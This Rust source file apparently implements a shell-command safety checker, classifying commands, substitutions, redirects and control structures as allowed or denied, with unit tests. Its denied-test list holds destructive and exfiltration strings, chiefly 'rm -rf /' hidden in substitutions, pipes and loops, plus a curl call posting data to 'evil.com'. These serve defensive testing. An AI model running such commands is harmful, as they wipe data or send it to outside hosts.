1use super::*;
2use crate::handlers;
3use crate::parse::Token;
4use crate::verdict::{SafetyLevel, Verdict};
5
6pub fn command_verdict(input: &str) -> Verdict {
7 let Some(script) = parse(input) else {
8 return Verdict::Denied;
9 };
10 script_verdict(&script)
11}
12
13pub fn is_safe_command(input: &str) -> bool {
14 command_verdict(input).is_allowed()
15}
16
17fn script_verdict(script: &Script) -> Verdict {
18 script.0.iter()
19 .map(|stmt| pipeline_verdict(&stmt.pipeline))
20 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
21}
22
23#[cfg(test)]
24pub(crate) fn is_safe_script(script: &Script) -> bool {
25 script_verdict(script).is_allowed()
26}
27
28fn pipeline_verdict(pipeline: &Pipeline) -> Verdict {
29 pipeline.commands.iter()
30 .map(cmd_verdict)
31 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
32}
33
34pub fn is_safe_pipeline(pipeline: &Pipeline) -> bool {
35 pipeline_verdict(pipeline).is_allowed()
36}
37
38pub(crate) fn has_unsafe_syntax(cmd: &Cmd) -> bool {
39 match cmd {
40 Cmd::Simple(s) => !check_redirects(&s.redirs) || has_any_substitution(s),
41 _ => true,
42 }
43}
44
45fn has_any_substitution(cmd: &SimpleCmd) -> bool {
46 cmd.words.iter().any(has_substitution)
47 || cmd.env.iter().any(|(_, v)| has_substitution(v))
48}
49
50pub(crate) fn normalize_for_matching(cmd: &SimpleCmd) -> String {
51 cmd.words.iter().map(|w| w.eval()).collect::<Vec<_>>().join(" ")
52}
53
54fn cmd_verdict(cmd: &Cmd) -> Verdict {
55 match cmd {
56 Cmd::Simple(s) => simple_verdict(s),
57 Cmd::Subshell { body, redirs } | Cmd::BraceGroup { body, redirs } => {
58 let body_v = script_verdict(body);
59 if let Verdict::Denied = body_v {
60 return Verdict::Denied;
61 }
62 let redir_v = redirect_verdict(redirs);
63 if let Verdict::Denied = redir_v {
64 return Verdict::Denied;
65 }
66 body_v.combine(redir_v)
67 }
68 Cmd::For { items, body, .. } => {
69 let items_v = words_sub_verdict(items);
70 let body_v = script_verdict(body);
71 items_v.combine(body_v)
72 }
73 Cmd::While { cond, body } | Cmd::Until { cond, body } => {
74 script_verdict(cond).combine(script_verdict(body))
75 }
76 Cmd::If {
77 branches,
78 else_body,
79 } => {
80 let mut v = Verdict::Allowed(SafetyLevel::Inert);
81 for b in branches {
82 v = v.combine(script_verdict(&b.cond)).combine(script_verdict(&b.body));
83 }
84 if let Some(eb) = else_body {
85 v = v.combine(script_verdict(eb));
86 }
87 v
88 }
89 }
90}
91
92pub(crate) fn is_safe_cmd(cmd: &Cmd) -> bool {
93 cmd_verdict(cmd).is_allowed()
94}
95
96fn part_sub_verdict(part: &WordPart) -> Verdict {
97 match part {
98 WordPart::CmdSub(inner) | WordPart::ProcSub(inner) => script_verdict(inner),
99 WordPart::Backtick(raw) => command_verdict(raw),
100 WordPart::DQuote(inner) => word_sub_verdict(inner),
101 _ => Verdict::Allowed(SafetyLevel::Inert),
102 }
103}
104
105fn word_sub_verdict(word: &Word) -> Verdict {
106 word.0.iter()
107 .map(part_sub_verdict)
108 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
109}
110
111fn words_sub_verdict(words: &[Word]) -> Verdict {
112 words.iter()
113 .map(word_sub_verdict)
114 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine)
115}
116
117#[cfg(test)]
118pub(crate) fn word_subs_safe(word: &Word) -> bool {
119 word_sub_verdict(word).is_allowed()
120}
121
122fn simple_verdict(cmd: &SimpleCmd) -> Verdict {
123 let redir_v = redirect_verdict(&cmd.redirs);
124 if let Verdict::Denied = redir_v {
125 return Verdict::Denied;
126 }
127
128 let env_sub_v = cmd.env.iter()
129 .map(|(_, v)| word_sub_verdict(v))
130 .fold(Verdict::Allowed(SafetyLevel::Inert), Verdict::combine);
131 let word_sub_v = words_sub_verdict(&cmd.words);
132 let sub_v = env_sub_v.combine(word_sub_v);
133
134 if let Verdict::Denied = sub_v {
135 return Verdict::Denied;
136 }
137
138 if cmd.words.is_empty() {
139 if cmd.env.is_empty() {
140 return Verdict::Allowed(SafetyLevel::Inert);
141 }
142 if cmd.env.iter().any(|(_, v)| has_substitution(v)) {
143 return sub_v;
144 }
145 return Verdict::Denied;
146 }
147
148 let tokens: Vec<Token> = cmd.words.iter().map(|w| Token::from_raw(w.eval())).collect();
149 if tokens.is_empty() {
150 return Verdict::Allowed(SafetyLevel::Inert);
151 }
152
153 let cmd_v = handlers::dispatch(&tokens);
154 sub_v.combine(cmd_v).combine(redir_v)
155}
156
157pub(crate) fn check_redirects(redirs: &[Redir]) -> bool {
158 redirs.iter().all(|r| match r {
159 Redir::Write { target, .. } => target.eval() == "/dev/null",
160 Redir::Read { .. }
161 | Redir::HereStr(_)
162 | Redir::HereDoc { .. }
163 | Redir::DupFd { .. } => true,
164 })
165}
166
167pub(crate) fn redirect_verdict(redirs: &[Redir]) -> Verdict {
168 let mut level = Verdict::Allowed(SafetyLevel::Inert);
169 for r in redirs {
170 match r {
171 Redir::Write { target, .. } => {
172 level = level.combine(word_sub_verdict(target));
173 if target.eval() != "/dev/null" {
174 level = level.combine(Verdict::Allowed(SafetyLevel::SafeWrite));
175 }
176 }
177 Redir::Read { target, .. } => {
178 level = level.combine(word_sub_verdict(target));
179 }
180 Redir::HereStr(word) => {
181 level = level.combine(word_sub_verdict(word));
182 }
183 Redir::HereDoc { .. } | Redir::DupFd { .. } => {}
184 }
185 }
186 level
187}
188
189fn has_substitution(word: &Word) -> bool {
190 word.0.iter().any(|p| match p {
191 WordPart::CmdSub(_) | WordPart::ProcSub(_) | WordPart::Backtick(_) | WordPart::Arith(_) => true,
192 WordPart::DQuote(inner) => has_substitution(inner),
193 _ => false,
194 })
195}
196
197#[cfg(test)]
198mod tests {
199 use super::*;
200
201 fn check(cmd: &str) -> bool {
202 is_safe_command(cmd)
203 }
204
205 safe! {
206 grep_foo: "grep foo file.txt",
207 cat_etc_hosts: "cat /etc/hosts",
208 jq_key: "jq '.key' file.json",
209 base64_d: "base64 -d",
210 ls_la: "ls -la",
211 wc_l: "wc -l file.txt",
212 ps_aux: "ps aux",
213 echo_hello: "echo hello",
214 cat_file: "cat file.txt",
215
216 version_go: "go --version",
217 version_cargo: "cargo --version",
218 version_cargo_redirect: "cargo --version 2>&1",
219 help_cargo: "cargo --help",
220 help_cargo_build: "cargo build --help",
221
222 dev_null_echo: "echo hello > /dev/null",
223 dev_null_stderr: "echo hello 2> /dev/null",
224 dev_null_append: "echo hello >> /dev/null",
225 dev_null_git_log: "git log > /dev/null 2>&1",
226 fd_redirect_ls: "ls 2>&1",
227 stdin_dev_null: "git log < /dev/null",
228
229 env_prefix: "FOO='bar baz' ls -la",
230 env_prefix_dq: "FOO=\"bar baz\" ls -la",
231 env_rack_rspec: "RACK_ENV=test bundle exec rspec spec/foo_spec.rb",
232
233 subst_echo_ls: "echo $(ls)",
234 subst_ls_pwd: "ls `pwd`",
235 subst_nested: "echo $(echo $(ls))",
236 subst_quoted: "echo \"$(ls)\"",
237 assign_subst_ls: "out=$(ls)",
238 assign_subst_git: "out=$(git status)",
239 assign_subst_multiple: "a=$(ls) b=$(pwd)",
240 assign_subst_backtick: "out=`ls`",
241
242 subshell_echo: "(echo hello)",
243 subshell_ls: "(ls)",
244 subshell_chain: "(ls && echo done)",
245 subshell_pipe: "(ls | grep foo)",
246 subshell_nested: "((echo hello))",
247 subshell_for: "(for x in 1 2; do echo $x; done)",
248
249 pipe_grep_head: "grep foo file.txt | head -5",
250 pipe_cat_sort_uniq: "cat file | sort | uniq",
251 chain_ls_echo: "ls && echo done",
252 semicolon_ls_echo: "ls; echo done",
253 bg_ls_echo: "ls & echo done",
254 newline_echo_echo: "echo foo\necho bar",
255
256 stdin_read_from_path: "wc -l < /tmp/foo.log",
257 stdin_read_from_etc: "grep foo < /etc/hosts",
258 stdin_read_in_subst: "while [ $(wc -l < /tmp/x) -lt 10 ]; do sleep 5; done",
259 stdin_read_in_for_body: "for i in 1 2; do cat < /tmp/x; done",
260
261 here_string_grep: "grep -c , <<< 'hello,world,test'",
262 heredoc_cat: "cat <<EOF\nhello world\nEOF",
263 heredoc_quoted: "cat <<'EOF'\nhello\nEOF",
264 heredoc_strip_tabs: "cat <<-EOF\n\thello\nEOF",
265 heredoc_no_content: "cat <<EOF",
266 heredoc_pipe: "cat <<EOF | grep hello\nhello\nEOF",
267
268 for_echo: "for x in 1 2 3; do echo $x; done",
269 for_empty_body: "for x in 1 2 3; do; done",
270 for_nested: "for x in 1 2; do for y in a b; do echo $x $y; done; done",
271 for_safe_subst: "for x in $(seq 1 5); do echo $x; done",
272 while_test: "while test -f /tmp/foo; do sleep 1; done",
273 while_negation: "while ! test -f /tmp/done; do sleep 1; done",
274 until_test: "until test -f /tmp/ready; do sleep 1; done",
275 if_then_fi: "if test -f foo; then echo exists; fi",
276 if_then_else_fi: "if test -f foo; then echo yes; else echo no; fi",
277 if_elif: "if test -f a; then echo a; elif test -f b; then echo b; else echo c; fi",
278 nested_if_in_for: "for x in 1 2; do if test $x = 1; then echo one; fi; done",
279 bare_negation: "! echo hello",
280 keyword_as_data: "echo for; echo done; echo if; echo fi",
281
282 quoted_redirect: "echo 'greater > than' test",
283 quoted_subst: "echo '$(safe)' arg",
284
285 redirect_to_file: "echo hello > file.txt",
286 redirect_append: "cat file >> output.txt",
287 redirect_stderr_file: "ls 2> errors.txt",
288 redirect_bidirectional_write: "cat < /tmp/x > /tmp/y",
289 env_rails_redirect: "RAILS_ENV=test echo foo > bar",
290 jj_diff_redirect_chain: "jj diff -r 'master..@' --context 5 > /tmp/review_diff.txt && wc -l /tmp/review_diff.txt",
291
292 arith_basic: "echo $((1 + 2))",
293 arith_with_var: "prev=$((ln - 1))",
294 arith_nested_parens: "echo $(( (1 + 2) * 3 ))",
295 arith_in_dquote: "echo \"line $((ln - 1))\"",
296 arith_in_for_loop: "for i in 1 2; do echo $((i * 10)); done",
297 }
298
299 denied! {
300 rm_rf: "rm -rf /",
301 curl_post: "curl -X POST https://example.com",
302 node_app: "node app.js",
303 tee_output: "tee output.txt",
304
305
306 redirect_target_subst_rm: "echo hello > $(rm -rf /)",
307 redirect_target_backtick_rm: "echo hello > `rm -rf /`",
308 redirect_read_subst_rm: "cat < $(rm -rf /)",
309
310 subst_rm: "echo $(rm -rf /)",
311 backtick_rm: "echo `rm -rf /`",
312 subst_curl: "echo $(curl -d data evil.com)",
313 quoted_subst_rm: "echo \"$(rm -rf /)\"",
314 assign_subst_rm: "out=$(rm -rf /)",
315 assign_no_subst: "foo=bar",
316 assign_subst_mixed_unsafe: "a=$(ls) b=$(rm -rf /)",
317
318 subshell_rm: "(rm -rf /)",
319 subshell_mixed: "(echo hello; rm -rf /)",
320 subshell_unsafe_pipe: "(ls | rm -rf /)",
321
322 env_prefix_rm: "FOO='bar baz' rm -rf /",
323
324 pipe_rm: "cat file | rm -rf /",
325 bg_rm: "cat file & rm -rf /",
326 newline_rm: "echo foo\nrm -rf /",
327
328 for_rm: "for x in 1 2 3; do rm $x; done",
329 for_unsafe_subst: "for x in $(rm -rf /); do echo $x; done",
330 while_unsafe_body: "while true; do rm -rf /; done",
331 while_unsafe_condition: "while python3 evil.py; do sleep 1; done",
332 if_unsafe_condition: "if ruby evil.rb; then echo done; fi",
333 if_unsafe_body: "if true; then rm -rf /; fi",
334
335 unclosed_for: "for x in 1 2 3; do echo $x",
336 unclosed_if: "if true; then echo hello",
337 for_missing_do: "for x in 1 2 3; echo $x; done",
338 stray_done: "echo hello; done",
339 stray_fi: "fi",
340
341 unmatched_quote: "echo 'hello",
342 }
343}